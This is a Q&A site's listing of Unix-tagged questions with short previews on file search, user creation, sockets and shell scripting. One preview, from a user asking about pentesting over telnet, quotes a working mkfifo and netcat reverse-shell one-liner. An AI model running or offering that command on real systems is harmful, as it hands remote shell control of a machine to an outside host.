Questions tagged [unix]
Unix is a multitasking, multi-user computer operating system originally developed in 1969 by a group of AT&T employees at Bell Labs.
3,992
questions
0
votes
0
answers
23
views
Sending Environment Variables via SCP
I'm looking to send some kind of environment variable using "SCP -o" (or any other file transfer protocol for that matter PSFTP, PSCP, etc).
I currently use SCP to transfer files between ...
0
votes
1
answer
36
views
Unix Sockets as Portrayed via Netstat
I do not have much experience with Unix sockets, but I hope this is the place to start. I want to start with understanding what is going on with a netstat -n command. Is it normal behavior to have ...
1
vote
1
answer
107
views
Issue when creating a new user and group on macOS
I need to create a user and a group called postgres on my mac but I seem to have issues with that. The reason for needing this user is because I've installed postgresql@15 via brew and it created a ...
0
votes
0
answers
13
views
"find" command does not find all files from root unless folder is specified [duplicate]
I am trying to find the files that are named setenv.sh on this machine, I am logged in as root and am searching from the '/' using the following syntax and receiving the output:
# First
[root@...
0
votes
0
answers
35
views
Trying to understand telnet behavior and pentesting reverse shell in Unix
The first not working for me and the second working on telnet session, Unix:
What is the difference between:
.RUN rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip 4444 >/tmp/f
And ...
0
votes
1
answer
128
views
How do I find files by last day in a month? (or how to copy the latest file per month)
I know there is "find" and I use something like find "/backup.stats/30days" -mtime +30 -type f But I wanted to know if anyone knew of a way to pick out the oldest file by month; ...
1
vote
0
answers
68
views
How to let root use sudoedit as if it was a user?
I'm writing a wrapper for myself around vim that detects when the user's trying to edit a file that doesn't belong to them, and suggests sudoedit or visudo instead. I want to use sudoedit rather than ...
1
vote
0
answers
56
views
How to detox filenames in a bash script with no errors posted?
OS: Kubuntu 22.04.4 LTS x86_64
detox 1.4.5
To display above:
neofetch --stdout |grep 'OS:'
detox -V
Here is a toxic filename, starts with s1:
s1 Ä Ö Ü - ä ö ü Science & < > " 1 \ 2 ⁄ 3 ...
0
votes
1
answer
243
views
Broken pipe, write error: An epidemic of unnecessary output
In the last few months, a problem has been spreading across my systems. That of broken pipe errors:
# Solution:
# silenced by replacing /bin/bzip2 -> bzip2-reference
# to /bin/...
2
votes
1
answer
51
views
How can I use the last changed file as an argument in linux?
I'm thinking of using the last changed file as an argument to commands like ls, echo, or cat, is there a simple and efficient way? this question arose when I was faced with analyzing the latest log ...
0
votes
1
answer
125
views
Split a large gz compressed file into smaller compressed file gz
My requirement is to load a gz file from gcs to BQ. I am using python and Airflow but it is throwing an error that if a single compressed file size is greater than 5 GB, then we can't load it. I have ...
0
votes
3
answers
71
views
display path to files with same names
with this command in Terminal:
ls -R |sort | uniq -d | sort -r
I can display a list of files with the same names located in the running directory and subdirectories.
But I would like to display also ...
0
votes
0
answers
115
views
Pgbouncer: Multiple Instances on same host receiving same TCP connection when using SO_REUSEPORT
I was able to setup two pgbouncer instances for database connection pooling, on a single VM (CentOS 7.0) listening to same port (6432) on two different TCP socket (I believe) using Linux Kernel ...
3
votes
1
answer
633
views
What is the meaning of the manage-gids parameter in /etc/nfs.conf?
I have run into an issue (on a system which I am not root) where there is a directory using an acl to manage access, I should be allowed access (and I am allowed access if I do a newgrp to one of the ...
1
vote
1
answer
235
views
Is there a trick to add an unix user with '@' inside its login on debian
On Debian, there is not a lot of limitations to add an unix user. Ie: the login may contain dots and uppercase letters.
Is there a trick to add an unix user with an '@' inside its login ? I understand ...